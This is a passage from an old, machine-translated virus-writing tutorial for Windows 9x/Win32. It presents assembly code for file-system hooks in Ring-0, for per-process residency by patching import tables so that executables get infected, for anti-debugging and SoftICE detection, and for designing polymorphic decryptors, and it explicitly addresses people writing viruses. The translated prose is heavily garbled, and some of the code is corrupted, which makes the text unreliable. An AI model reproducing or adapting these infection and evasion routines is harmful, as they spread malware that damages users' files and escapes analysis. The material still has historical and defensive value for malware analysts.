Hook_info address, we recursively search for this structure until the top of the chain used by the monitored program ... then we It must be modified.
Code? The following presents a portion :); EDI = Points to virus copy in system heap lea ecx, [edi New_Handler]; Install FileSystem Hook push ecx @@ 2: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx xchg esi, eax; ESI = Ptr actual hook; handler Push ESI Lodsd; Add ESI, 4; ESI = Ptr To Hook Handlertunnel: Lodsd; ES = Previous Hook Handler; ESI = Ptr To Hook_Info Xchg Eax, ESI; Very Clear :) Add ESI, 08H; ESI = 3rd DWORD IN STRUC: Previous hook_info js tunnel; if esi <7ffffff, it tasion; the last one :); EAX = HOO K_Info of the top; chain MoV DWORD PTR [EDI PTR_TOP_CHAIN], EAX; Save In Its Var in Mem Pop Eax; EAX = Last Hook Handler [...] If you don't understand, don't worry, this is the first time: Imagine the time spent on I read the code of Sexy! Ok, we have already put the chain in a variable. The next code snippet is a request for us to check a system, and we know that this call is not made by our virus, just before the infection process.
Lea ESI, DWORD PTR [EBX TOP_CHAIN]; ESI = Ptr To Stored Variable Lodsd; Eax = Top Chain XOR EDX, EDX; EDX = 0 XCHG [EAX], EDX; TOP Chain = NULL; EDX = Address of Top Chain Pushad Call Infection Popad Mov [EAX], EDX; RESTORE TOP Chain This is a simple, ah? :) All concepts ("hook_info", "top chain", etc.) are from super, so I will punish him:)% the last words% ~~~~~~~~~~ I must thank 3 In the first Ring-0, you have helped me the most important person: super, vecna and nigr0 (you are good!). Ok, have other things to say? Oh ... yeah. Ring-0 is our dream of our Win9X, yes. But there is always a limit. If we, the poisonous passengers find a time when getting Ring-0 privileges in the system such as NT or future Win2000 (NT5). Micro $ OFT will make a patch or a service pack to fix all these possible bugs. In any case, writing a Ring-0 virus is always very interesting. I'm really interesting to me, and I help me know more about Windows internal structure. The system is almost a hidden file. Just look at the largest, the most frequently spread the most widely wide virus is a Ring-0 virus, CIH.
[Per-process residency] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A very interesting topic used to discuss: Per-Process Residency, a method for all Win32 platforms. I have already separated this chapter from Ring-3. It is because I think it is an evolution. It is also slightly more complicated for beginner Ring-3. % Introduction% ~~~~~~ Per-Process Residence is first written in 1997 Jacky QWERTY in 1997. Also (for the media, it is not true -win32.jacky) it is the first Win32 virus, it is the first Win32 resident virus, using never seen the technology: Per-process residence. So what do you want to know "What is PER-Process Residence?". I have explained the one in an article in DDT # 1, but here I will make a deeper analysis of this method. First, you must know what Win32 is Win32, and how it works with its PE executable. When you call an API, you will call an address that is saved by the system to the memory in the runtime, which points to the E-address point in the DLL in the DLL. To make a per-process reside, you will have to do some hands and feet for the input table, and modify the API address value you want to hook and point to your own code, this code can handle the specified API, that is, the API To process infected files. I know this is a little mess, but in every thing written in the virus code, it always looks hard, but it is very simple behind :) - [DDT # 1.2_4] ---- -------------------------------------------------- --------- Well, this may be the only known way I know the Win32 resident virus. Yes, you have seen Win32 instead of Win9x. This is because this method can also run under Winnt. First, you have to know what is a process. This thing makes me strangely those who start programming under Windows know what kind of ways to know this, but they usually don't know this name. Ok, when we execute a Windows application, it is a process :) It is very easy to understand. And what did this reside? First we must open a memory, in order to put the virus main body there, this memory is starting from our own process. So, we open up some system to give this process. It will be done by using the API function "VirtualAlloc". But ... how to hook the API? It is now known as the most common way to change the address in the input table (IMPORT TABLE). This is my point of view, the only feasible method. Because the input table can be written, this is simpler, and we don't need any VxDCall0 functions ... However, this type of residing virus weakness is also here ... as we are in the input table As seen, the infection rate relies on the documents we want to infect. For example, if we infect WinNT's cmd.exe, and I have a FindFirstFile (A / W) and FINDNEXTFILE (A / W) infection routines, all files using those APIs are infected. This makes our virus very infectious, mainly because we will use it when we use a Dir command under WinNT.
In summary, if we don't use other methods to make it more infectious, the Per-Process method will be very fragile, as in Win32.cabanas, a run part. We make the runtime section part of each infection / Windows and / Windows / System directory some files. Another good choice is that, as I said with CMD as an example, I directly touch those very special documents in the first infected a system ... - [DDT # 1.2_4] - -------------------------------------------------- ----------- I have written it in December 1998. Although I found it not to achieve memory, I still change it make it easier to understand. % Input Table Processing% ~~~~~~~~~~~~ The structure of the input table will be made below. Image_import_descriptor ^^^^^^^^^^^^^^^^^^^^^^^ -------------------------- --------- <---- 00000000H | Characteristics | Size: 1 DWORD --------------------------- ------------ 00000004H | Time Date Stamp | Size: 1 DWORD -------------------------------------------------------------------------------------------------------------------- --------- <---- 00000008H | Forwarder Chain | Size: 1 DWORD -------------------------------------------------------------------------------------------------------- --------- <---- 0000000CH | Pointer to Name | Size: 1 DWORD ------------------------- -------------- 00000010H | First Thunk | Size: 1 DWORD ------------------------- ---------- Now let's take a look at how Matt Pietrek describes it. DWORD Characteristics once, this is seen as some sign. However, Microsoft has changed its meaning and did not get annoying Update Winnt.h. This domain is an offset of a pointer array (a RVA). These pointers each point to an image_import_by_name structure. DWORD TIMEDATESTAMP TIME / DATE The flag indicates when the file is established. DWORD ForwarderChain is related to this domain and forward call. The forward call includes sending a function to another DLL in a DLL. For example, in Windows NT, NTDLL.DLL looks like some functions to call some of the functions in kernel32.dll. An application may think it is in calling a function in NTDLL.DLL, but the world is finally called the function in kernel32.dll. This domain contains an index of the FIRSTTTHUNK array (that is about to be described). This function of this domain index will be called forward to another DLL. Unfortunately, this function is how to call the format without document information, and the example of a function called forward is difficult to find. DWORD NAME This is a RVA of the name ASCII string that contains the input DLL ending with NULL. The general example is "kernel32.dll" and "user32.dll".
PIMAGE_THUNK_DATA FIRSTTHUNK This domain is an offset address (a RVA) pointing to the image_thunk_data unit. In almost every case, this unit is physically into a pointer to an image_import_by_name structure. If this domain is not one of these pointers, it may be considered as the number of DLLs being entered. In the information, you can really enter a function through the order rather than through the name is not very exact. An important part of an image_import_descriptor is the input DLL name and two image_import_by_name arrays. In the exe file, these two arrays (pointing to the Characteristics and Firstthunk Domain) are parallel, and the end of each array is an empty pointer. Both the pointer in the two arrays points to an image_import_by_name structure. Now as you know the Matt Pietrek (G0D) definition, I will list the code from the input table to get the API address and the API (we will change, behind this more). ; -------- From here start cutting ---------------------------------- -------------------; GetApi_it function; ==============; the following code can be from the input table (import table) Get some information; getApi_it proc; ---------------------------------------------------------------------------------------------------------------------------------- -----------------------------------; OK, let us shake his head. The parameters and returns required by this function are as follows:; [Enter: EDI: Pointer to the API name (case sensitive); Output: EAX: API address; EBX: API address in the input table (IMPORT TABLE); --- -------------------------------------------------- ------------------------ MOV DWORD PTR [EBP TEMPGA_IT1], EDI; Save Ptr To Name Mov EBX, EDI XOR Al, Al; Search for "/ 0" SCASB JNZ $ -1 Sub EDI, EBX; Obtain Size of Name Mov DWORD PTR [EBP TEMPGA_IT2], EDI; SAVE SIZE OF NAME; -------------------------------------------------------------- -------------------------------------------------- -----------; We first saved the pointer to the API to a temporary variable, then we search the end of the string, by; 0 mark, then we put the new value of EDI (point to 0 ) Its old value, so it gets the size of the API name. Very; charming, isn't it? After this, we save the size of the API name to another temporary variable.
; ------------------------------------------------- ---------------------------- xor Eax, ES; Make Zero ESI ESI, DWORD PTR [EBP ImageBase]; loading process imagebase Add ESI, 3ch; Pointer to Offset 3ch Lodsw; Get Process PE Header Add Eax, DWORD PTR [EBP ImageBase]; Address (Normalized!) XCHG ESI, EAX LODSD CMP EAX, "EP"; Is IT Really A PE? JNZ NOPES; SHIT! Add ESI, 7CH LODSD; Get Address Push Eax Lodsd; Eax = Size Pop ESI Add ESI, DWORD PTR [EBP ImageBase]; -------------------------------------------------------------------------------- -------------------------------------------------- ---------; The first thing we have to do is emptying Eax because we don't want it MSW. Then, what we have to do is in our; the head of the body checks the PE signature. If all things are done, we get a pointer to the Import Table; Section (.idata).
; ------------------------------------------------- ---------------------------- Searchk32: Push ESI MOV ESI, [ESI 0CH]; ESI = Pointer to Name Add ESI, DWORD PTR [EBP ImageBase]; Normalize Lea EDI, [EBP K32_DLL]; PTR to "kernel32.dll", 0 MOV ECX, K32_SIZE; ECX = Size of Above String CLD; Clear Direction Flag Push Ecx; Save Size for Later Rep CMPSB; COMPARE BYTES POP ECX; Restore Size Pop ESI; Restore Ptr To Import Jz Gotcha; IF Matched, Jump Add ESI, 14H; Get Another Field JMP Searchk32; Loop Again; ------------- -------------------------------------------------- -------------- ;first, U.S Return the ESI stack again, we will need it to be saved, because as you know, it is. IDATA section;
Then, we get the name of the ASCII string (pointer) of the name in ESI, then we put it; it uses the base address to standardize the value,; ------------- -------------------------------------------------- ------------ Gotcha: CMP BYTE PTR [ESI], 00H; IS OriginalFirstthunk 0? JZ NOPES; Fuck Offix IT IS. MOV EDX, [ESI 10H]; Get Firstthunk :) Add EDX, DWORD PTR [EBP ImageBase]; Normalize! Lodsd or Eax, EAX; Is IT 0? JZ NOPES; Shit ... Xchg Edx, EAX; Get Pointer To It! Add Edx, [EBP ImageBase] xor EBX, EBX; -------------------------------------------------- ----------------------------; First, we check if the originAlFirstthunk domain is null, if it is, we exit with an error. Then, we get the firstthunk value, and standardize it by adding the IMAGEBase, and check it; if it is 0 (if it is, we have a problem, so we withdraw it). After that, let's put the address; (FIRSHTHUNK) in EDX, and standardize, in Eax we save, point to the firstthunk domain; pointer.
; ------------------------------------------------- ---------------------------- LOOPY: CMP DWORD PTR [EDX], 00H; Last RVA? Duh ... JZ NOPES CMP BYTE PTR [EDX 03H], 80H; Ordinal? duh ... JZ Reloop Mov EDI, DWORD PTR [EBP TEMPGA_IT1]; GET POINTER TO API Name Mov ECX, DWORD PTR [EBP TEMPGA_IT2]; Get API Name Size MOV ESI , [edx]; We retrieve the current add esi, dword ptr [ebp imagebase]; pointed imported api string inc esi inc esi push ecx; Save its size rep cmpsb; Compare both stringz pop ecx; Restore it jz wegotit reloop: inc Ebx; Increase Counter Add Edx, 4; Get Another Ptr To Another Loop Loopy Imported API and LOOP; -------------------------------------------- --------------------------------; First, we check if it is the end of the array (with NULL character tag). If so, we leave. Then, we; check it whether it is a order, if so, we get another one. Next is interesting stuff: we put; we used to save the pointer to the API name to search to the EDI, in ECX is the length of the string; degree, and point the current API in the input table The pointer is saved in ESI. We compare these two strings; if they are not equal, we redeemed another, until we found it or we reached the input table; the last API.
; ------------------------------------------------- ---------------------------- WEGOTIT: SHL EBX, 2; Multiply Per 4 Add Ebx, EAX; Add to Firstthunk Value Mov Eax, [EBX]; EAX = API Address;) TEST Al, 0; this is for avoid a jump, org $ -1; thus Optimizing a little :) NOPES: stc; error! Ret; ----- -------------------------------------------------- ----------------------; very simple: because we are counting in EBX, and arrays are a DWORD array, we multiply it by 4; In order to get the firstthunk related offset of the flag API address), then we point to the address of the address in the input table in EBX. very perfect:) ;--------------------------------------------- -------------------------------- GetApi_it Endp; ------- here to cut --- -------------------------------------------------- ---- OK, now we know how to play the input table. But we need more things!% Runbased% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A most common mistake It is considered that imagebase is always a constant, or it will always be 400000H. But this is far from the facts. No matter what imageBase you are in the file head, it can be easily changed during the runtime, so we will have access to an incorrect address, and we will get an unpredictable response. It is very simple to obtain it. Simply use the usual Delta-Offset routine. Virus_start: Call Tier; Push in Esp Return Address Tier: Pop EBP; Get That Ret Address Sub EBP, OFFSET REALCODE; And Sub Initial Offset OK? Let's imagine starting from 401000h (almost all by TLINK link document). So, when we use POP, we will get results such as 00401005 in EBP.
So minus Tier-Virus_Start and subtract the current EIP (that is, 1000 hours in all TLINK connections)? Yes, you got imagebase! So you will be as follows: Virus_start: Call Tier; Push in Esp Return Address Tier: PUSH IN EBP; Get That Ret Address Mov EAX, EBP SUB EBP, OFFSET Realcode; and Sub Initial Offset Sub Eax, 00001000H; Sub Current EIP (SHOULD AT Infection Time) Sub Eax, (tier-varus_start); Sub Sub Sub SHIT :) Don't forget to fix newEIP variables in infection period (if you modify EIP), it is always It is the value of the PE file head offset 28h, which is the RVA :) [My API Hook] below is the census of my getApi_it routine. This is based on the following structure: DB ASCIZ_API_NAME DD Offset (API_HANDLER) For example: DB "CreateFilea", 0 DD Offset HookcreateFilea and HookCreateFilea is a routine that processes hooked.
The code I use this structure is as follows: --------- From here start cut ------------------------- ---------------------------------- HookAllapis: Lea EDI, [EBP @@ hookz]; Ptr To the first API nxtapi: push edi; Save the pointer call GetAPI_IT; Get it from Import Table pop edi; Restore the pointer jc Next_IT_Struc_; Fail Damn ...; EAX = API Address; EBX = Pointer to API Address; in the import table xor? Al, Al; Reach The End of API String Scasb JNZ $ -1 MOV EAX, [EDI]; Get Handler Offset Add Eax, EBP; Adjust with delta Offset MOV [EBX], EAX; and PUT IT IN THE IMPORT! NEXT_IT_STRUC: Add Edi, 4 Get next structure item :) CMP BYTE PTR [EDI], ""; Reach The Last API? Grr ... jz allhooked; WE HOOKED ALL, PAL JMP NXTAPI; loop again allhooked: Ret next_it_struc_: xor Al, Al; Get the end of string scasb jnz $ -1 jmp Next_IT_Struc; And come back :) @@ Hookz label byte db "MoveFileA", 0; Some example hooks dd (offset HookMoveFileA) db "CopyFileA", 0 dd (offset HookCopyFileA) db " Deletefilea "
0 DD (Offset Hookdeletefilea) DB "Createfilea", 0 DD (Offset HookcreateFilea) DB ""; End of Array:); --------- Here Sailing -------- -------------------------------------------------- --- I hope it is highly clear :)% general hook% ~~~~~~~~~~~~~ If you find it, there are some APIs, in its parameters, the final stack parameters are one Point a pointer to a archive (can be an executable), so we can hook them and apply a normal process first to detect its extension, so if it is an executable, we can infect it without problems. :); --------- From here to start cut ------------------------------ -----------------------------; Some Variated hooks :) hookmovefilea: Call dohookstuff; handle this call jmp [eax _movefilea]; Pass control 2 original API HookCopyFileA: call DoHookStuff; Handle this call jmp [eax _CopyFileA]; Pass control 2 original API HookDeleteFileA: call DoHookStuff; Handle this call jmp [eax _DeleteFileA]; Pass control 2 original API HookCrea teFileA: call DoHookStuff; Handle this call jmp [eax _CreateFileA]; Pass control 2 original API; The generic hooker !! DoHookStuff: pushad; Push all registers pushfd; Push all flags call GetDeltaOffset; Get delta offset in EBP mov edx, [ ESP 2CH]; Get FileName to Infect Mov ESI, ESI = Edx = File to Check REACH_DOT: LODSB; Get Character OR Al, Al;
Find NULL? Shit ... JZ Errordohookstuff; Go Away THEN CMP AL, "."; Dot Found? INTERESTING ... JNZ REACH_DOT; if Not, Loop Again Dec ESI; Fix IT Lodsd; Put Extension in Eax or Eax, 20202020h Make String LowerCase CMP EAX, "EXE."; IS IT AN EXE? INFECT !!! JZ Infectwithookstuff CMP EAX, "LPC."; IS IT A CPL? Infect !!! JZ Infectwithookstuff CMP EAX, "RCS." Is is a SCR Infect !!! jnz ErrorDoHookStuff InfectWithHookStuff: xchg edi, edx; EDI = Filename to infect call InfectEDI; Infect file !!;) ErrorDoHookStuff:? popfd; Preserve all as if nothing popad Happened :) Push EBP CALL GETDELTAOFFSET; GET DELTA Offset Xchg Eax, EBP; PUT Delta Offset in Eax Pop EBP RET; --------- here so she cut ---------- -------------------------------------------------- - some of which may use this routine to hook the general API follows: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA CopyFileExA, OpenFile. % The last words% ~~~~~~~~~~ If there is anything unclear, send email to me. I will use a simple per-process resident virus to elaborate it, but the only PER-Process virus I have written is too complicated, and more features are more features, so I still look for you. do not understand:)
[Win32 counter-debug] ~~~~~~~~~~~~~~~ I will give some tricks to protect your virus or procedure is not debugged (all levels, application levels, and system levels). I hope you will like it. % Win98 / NT: Application-level debugger detection with IsDebuggerPresent% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~ This API function is not in Win95, so you have to detect its existence and work with the application-level debugger (such as TD32). And it works very well. Let's see how it is written in the Win32 API reference list. --------------------------------------------------------------------- ─-------- ─------ ─---------- ─-------- ─------- ─----------BuggerPresent function indicates the process of calling Whether it is running under a debugger. This function is exported from kernel32.dll. Bool isdebuggerpresent (void) parameter ==== This function has no parameters. Return value ====== - If the current process is running under a debugger, the return value is non-0 value. - If the current process is not running under the debugger, the return value is 0. ------------------------------------------- So the example of demonstration this is very simple. Here is.
; -------- From here: ---------------------------------- ------------------ .586p .model flatextrn GetProcAddress: PROCextrn GetModuleHandleA: PROCextrn MessageBoxA: PROCextrn ExitProcess: PROC .dataszTitle db "IsDebuggerPresent Demonstration", 0msg1 db "Application Level Debugger Found ", 0msg2 db" Application Level Debugger nOT Found ", 0msg3 db" Error:. Could not get IsDebuggerPresent ", 10 db" We're probably under Win95 ", 0 @ IsDebuggerPresent db" IsDebuggerPresent ", 0K32 db" KERNEL32 ", 0 .codeantidebug1:. push offset K32; Obtain KERNEL32 base address call GetModuleHandleA or eax, eax; Check for fails jz error push offset @IsDebuggerPresent; Now search for the existence push eax; of IsDebuggerPresent If call Get ProcAddress; GetProcAddress returns an or eax, eax; error, we assume we're in jz error; Win95 call eax; Call IsDebuggerPresent or eax, eax; If it's not 0, we're being jnz debugger_found; debuggeddebugger_not_found: push 0; Show "Debugger Not Found"
push offset szTitle push offset msg2 push 0 call MessageBoxA jmp exiterror: push 00001010h; Show "Error We're in Win95!" push offset szTitle push offset msg3 push 0 call MessageBoxA jmp exitdebugger_found: push 00001010h; Show "Debugger found!" push offset Sztitle Push Offset MSG1 Push 0 Call MessageBoxaexit: Push 00000000H; EXIT Program Call EXITPROCESS End Antidebug1; -------- Above this shear ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------ Wonderful? Micro $ OFT has made this job: However, there is no doubt that don't expect this method to effectively, God;)% WIN32: Know if we are debugged by a debugger ~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~ If you read the Murkry / Ikx written in xine-3 The article "WIN95 STRUCTURES AND Secret" is here, you will realize that there is a very cool structure in the FS register. Take a look at the FS: [20h] field ... it is 'debugcontext'. Just do this: MOV ECX, FS: [20H] Jecxz not_being_debugger [...] <- do whatever, we're being debugged :) So, if fs: [20h] is 0, we have not been debugged. Just enjoy this small and simple way to detect the debugger! Of course, this cannot be valid for Softice ...% Win32: Use SEH to stop the application level debugger% ~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~ I still don't know why, but if the program simply uses SEH, the application level debugger is dead. And if we make mistakes, the code simulator is also dead:) SEH, as I am in my post in DDT # 1, it can be used to achieve a lot of interesting purposes. You can look at the SEH section of "Advanced Win32 Techniques). What you have to do is to make SEH Handler points to where you want to continue the code, and when SEH Handler is installed, you activate a sign (a good choice is to try to do something at 000000000h memory address);) I hope You understand this. If you don't ... Well, forget it :) and, as in previous other methods, this is useless to Softice.
% WIN9X: Test Softice (i)% ~~~~~~~~~~~~~~~~ Here, I must pay tribute to Super / 29A, because he tells me this method. People. I divide this into two parts: In this section, we will see what to do from a Ring-0 virus. I won't give the entire example program because it will account for some unnecessary rows, but you must know that this method must be executed under Ring-0, and because the call-back problem (do you remember?), Vxdcall must reconstruction. We will use the GET_DDB service of Virtual Machine Manager (VMM), so this service will be 00010146h (VMM_GET_DDB). Let's take a look at the information about this service in the SDK. ------------------------------------- MOV EAX, Device_id Mov Edi, Device_Name Int 20H; VMMCALL GET_DDB DD 00010146H MOV [DDB], ECX - Determine if a VXD is installed for a particular device, if the installation will return a DDB of the device. - Use ECX, Flags (logo). - If the function successs returns the DDB of the specified device; - otherwise, returns 0. ? Device_id: Device Sign. For name-based devices, this parameter can be 0. DEVICE_NAME: A 8-character device name is not enough to populate empty characters. This parameter is required if the device_id is 0. Equipment name is sensitive. ------------------------------------- Now, you want to know why, very simple, Softice Vxd's device_id domain is a constant for the program, just as it is registered in Micro $ OFT, so we have a weapon to deal with incredible Softice. Its Device_ID is always 202h. So we should use the following code: MOV EAX, 00000202H vxdcall vmm_get_ddb xchg Eax, ECX Jecxz NotSoftice JMP DetectedSoftice NotSoftice should continue our viral code, and the DetectedSoftice tag should be that since we already know that our enemies are still alive, this take A number of actions, I don't recommend any destructive things, because, for example, I will hurt my computer, because I always make SoftICE activation:)% Win9x: Detect Softice (II)% ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~ The following is another way to detect what I love Softice, but based on the previous same point of view: 202h;) I have to pay tribute to Super :) Ok, in the Ralph Brown's interrupt list, we can see a 1684H service in the interrupt 2FH (diversity).
--------------------------------------------- INP .: AX = 1684H bx = Virtual Device (VXD) ID (see # 1921) ES: Di = 0000H: 0000h Returns: ES: DI -> VXD API Entrance, or 0: 0 If this VXD does not support an API description: Some Windows enhancements - Mode virtual devices provide services that some applications can access. For example, Virtual Display Device (VDD) provides APIs used by WinoldAP. -------------------------------------------- So, you are BX is placed in 202h and points to this function. Then you have to say ... "Hey, Billy ... I used to interrupt how stupid?". My answer is ... use vxdcall0 !!!% win32: test Softice (III)% ~~~~~~~~~~~~~~~~~~~~~ You are waiting for comparative authority and amazing tricks ... At the same time, in Win9X and Winnt environments! It is very simple, 100% Based on API, and there is no "dirty" compatibility. This answer doesn't think so, the key is that in the API function you have previously used: CREATEFILE.
Yes, that API ... is not charming? Ok, I have to try to open the following: Softice for Win9x: "//./sice" Softice for Winnt: "//./ntice" If this API Back to us and -1 (Invalid_Handle_Value) Different things, Softice is active! The following is the demo:; -------- From here: start cutting ------------ ------------------------------------------ .586p .Model FlateXTRN CreateFilea : PROCextrn CloseHandle: PROCextrn MessageBoxA: PROCextrn ExitProcess: PROC .dataszTitle db "SoftICE detection", 0szMessage db "SoftICE for Win9x:" answ1 db "not found!", 10 db "SoftICE for WinNT:" answ2 db "not found!" 10 dB "(c) 1999 Billy BelceBu / IKX", 0NFND DB "Found!", 10SICE9X DB "///./ntice"" 0 S. CodeDetectsoftice: push 0000000000; Check for The Presence of Push 00000080H; Softice for Win9x Envirome- Push 00000003H ; Nts ... push 00000000h push 00000001h push 0C0000000h push offset SICE9X call CreateFileA inc eax jz NoSICE9X dec eax push eax; Close opened file call CloseHandle lea edi, answ1; SoftICE found call PutFoundNoSICE9X:! Push 00000000h; And now try to open SoftICE Push 00000080h;
for WinNT ... push 00000003h push 00000000h push 00000001h push 0C0000000h push offset SICENT call CreateFileA inc eax jz NoSICENT dec eax push eax; Close file handle call CloseHandle lea edi, answ2; SoftICE for WinNT found call PutFoundNoSICENT:! push 00h; Show a MessageBox with the push offset szTitle; results push offset szMessage push 00h call MessageBoxA push 00h; Terminate program call ExitProcessPutFound: mov ecx, 0Bh; Change "not found" by lea esi, nfnd; "found"; address of where rep movsb; to Do The Change Is in Edi Retnd Detectsoft; ------------------------------------------------------------------------------------------- --------------------- This really works, believe me :) This same method can be applied to other "hostile" drivers, as long as it is studied Nodding. % Win9x: Kill the debugger hardware breakpoint% ~~~~~~~~~~~~~~~~~~~~~ Do you want to debug registers (DR? ), We have a small problem: they are privileged commands in WinNT. This stroke is composed of these simple things: Note DR0, DR1, DR2 and DR3 (they are used by the debugger as hardware breakpoints). So, simply use this code, you can avoid the debugger: xor Edx, EDX MOV DR0, EDX MOV DR1, EDX MOV DR2, EDX MOV DR3, EDX haha, is it very interesting? :)% The last words% ~~~~~~~~~~ This is some simple anti-tricks. I hope that you can use them without any problems in your virus, see you!
[Win32 Polymorphism (Win32 Polymorphism)] ~~~~~~~~~~~~~~~~~~~~~~~~~ Many people tell me, in me The biggest weakness in the MS-DOS virus tutorial is the chapter of the chapter (BTW, I wrote it at the age of 15, I know that the assembly is just 1 month). But based on this reason, I will try to write another, brand new, starting from 0. Since then, I read a lot of multi-state documents, and there was no doubt that the biggest impact on me is Qozah. Although it is very simple, he explains that we are writing a polymorphic engine (if you want to read it, from Download DDT # 1 in the virus site) should be more clearly all concepts. I will mention the true most basic thing in this chapter, so if you already have the basic knowledge of this, jump over!% Introduction% ~~~~~~ The main reason for the polymorphism is, always and The presence of anti-virus software is associated. In the era without polymorphic engine, anti-virus software detects viruses by simply use a scan string, and their most difficult is to encrypt the virus. So, a virus writer has a genius idea. I am sure he is thinking "Why don't I write a non-scarable virus, this is achieved by technology?" Then, the polymorphism was born. Polymorphism means that all possible constant-constant bytes are excluded from a decrypted part of a dense virus to avoid being scanned. Yes, polymorphism means the decryption process for viruses to establish changes. Oh, simple and effective. This is the basic concept: never build two decryption programs that are the same (in appearance), but always can complete the same functionality. It seems to be an encrypted natural extension, but because the encrypted code is not enough short, they can catch through a string, but use the polymorphism, the string is useless. % Polymorphic Level% ~~~~~~~~~~ Every level of polymorphism has its own name, which is given by anti-virus. Let's take a look at it (good, Eugene) with a small paragraph of Avpve. ----------------------------------------- According to the complexity of decryption code according to these viruses There is a hierarchical system for polymorphic viruses. This system is proposed by Dr. Alan Solomon and then improved by Vesselin Bontchev. Level 1: The virus has some constant decryption code collection, and one will be selected when infected. This virus is called "Semi-Polymorphic" or "Oligomorphic". Example: "Cheeba", "Slovakia", "Whale". Level 2: The virus decryption program contains one or several unchanging instructions, which are changed. Level 3: Decryption procedures have a function of use - "garbage" such as NOP, CLI, STI, and more. Level 4: Decrypting procedures uses interchangeable instructions and changing their order (instruction mix). The decryption algorithm remains unchanged. Level 5: All the techniques mentioned above are used, and the decryption algorithm is also variable, repeating the encrypted virus code or even partially encrypting the decryption program itself code is also possible. Level 6: Exchange the virus. The main code of the virus is changed to the conditions, and it is randomly divided into the part in infection. Although the virus can continue to work. Such viruses may not be encrypted.
Such classifications still have a disadvantage, because the main criteria are the possibility of detecting viruses with the code of the decryption program with the help of the decryption program: Level 1: In order to detect if the virus is enough to have some mark level 2: By using "Wild Cards" helps to detect viruses Level 3: Use the test "garbage" code to detect the 4th level of the virus: Sign contains some versions of possible code, that is, the algorithm level 5: User logo is not possible The virus detected by the virus in the 3th level of polymorphic viruses, only according to the "Level 3" of this, it can be seen. This virus is one of the most complicated polymorphic viruses, based on the current classification, because it has a constant decryption algorithm, which is a large number of "garbage" instructions in front of it. However, "garbage" in this virus is almost perfect: almost all I8086 instructions may be found in the decryption code. If the virus is divided into this level in accordance with the current anti-virus perspective, use the automatic decryption virus code (simulation) system, this classification will be based on the complexity of the virological code. Other virus detection techniques are also possible, for example, decryption with the help of the original mathematical law, and so on. Therefore, if other parameters are also considered in addition to the virus logo clues, this classification is more objective in my mind. 1. The complexity of the polymorphic code (all the proportion of all processing instructions) 2. Anti-simulation technology uses 3. The constant CHDU4 of the decryption algorithm. The constant level of the confidential program is a more detailed discussion. Because the result is a variety of virus writers to create this type of monsters. -----------------------------------------% I will write a polymorphism? % ~~~~~~~~~~~~~~~~~~~~~~~~ First, you must know what you want to make your decryption program in your mind. For example: MOV ECX, Virus_Size Lea EDI, POINTER_TO_CODE_TO_CRYPT MOV EAX, CRYPT_KEY @@ 1: xor dword PTR [EDI], EAX Add Edi, 4 loop @@ 1 is a very simple example, is it? We mainly have 6 pieces here (each instruction is a piece). Imagine how many possibilities do you make that code? - Change the register - Change the order of the 3 instructions - In order to achieve the same purpose, use different instructions - inserted anything that does not do, inserted into the garbage and so on. This is the main idea of polymorphism.
Let's take a look at this same decryption program, using a simple polymorphic engine to decrypt code: SHL EAX, 2 Add EBX, 157637369H Imul EAX, EBX, 69 (*) MOV ECX, Virus_size RCL ESI, 1 CLI (*) lea edi, pointer_to_code_to_crypt xchg eax, esi (*) mov eax, crypt_key mov esi, 22132546h and ebx, 0FF242569h (*) xor dword ptr [edi], eax or eax, 34548286h add esi, 76869678h (*) add edi , 4 STC PUSH EAX XOR EDX, 24564631H POP ESI (*) loop 00401013h CMC or EDX, 132H [...] Do you understand my thoughts? For a viral analyst, it is not very difficult to understand such a decryption process (it is more difficult for them than a virus without encrypted). You can also do a lot of improvements, believe me. I think you realize that we need to have different functions in our polymorphic engine: an instruction used to create a "legal" for the decryption program, and another is used to create garbage. This is the main idea you must have when writing a polymorphic engine. From this point, I will explain this as much as possible. % Is very important: RNG% ~~~~~~~~~~~~~~~~~~~~ Yes, the most important part in a polymorphic engine is the random number generator (Random Number) Generator, ie RNG. A RNG is a code that can return a complete random number. Below is a classic program under DOS, under Win9X, even working in Ring- 3, but cannot work in NT. Random: in Eax, 40h Ret This will return 0 in the EAX's MSW, and a random value is returned in the LSW. However, this is not strong enough ... we must recruit another ... this has to rely on you. The only thing I can do here is to use a small program that let you know if your RNG is powerful. It is also the RNG of this virus tested by GRIYO in the episode of Win32.marburg. There is no doubt that this code is appropriate to modify, which can be easily compiled and executed. ; ------ From here start cutting ------------------------------------ --------------------------- ;; RNG Tester; ========== ;; If the icon on the screen is The true "random" is placed, then this RNG is a good, but if the picture is the same position on the screen, or you always go to the icon to have a strange behavior on the screen, try another RNG.
.386 .model flatres_x equ 800d; Horizontal resolutionres_y equ 600d; Vertical resolutionextrn LoadLibraryA: PROC; All the APIs needed by theextrn LoadIconA: PROC; RNG testerextrn DrawIcon: PROCextrn GetDC: PROCextrn GetProcAddress: PROCextrn GetTickCount: PROCextrn ExitProcess: PROC .dataszUSER32 db " USER32.dll ", 0; USER32.DLL ASCIIz stringa_User32 dd 00000000h; Variables neededh_icon dd 00000000hdc_screen dd 00000000hrnd32_seed dd 00000000hrdtsc equ
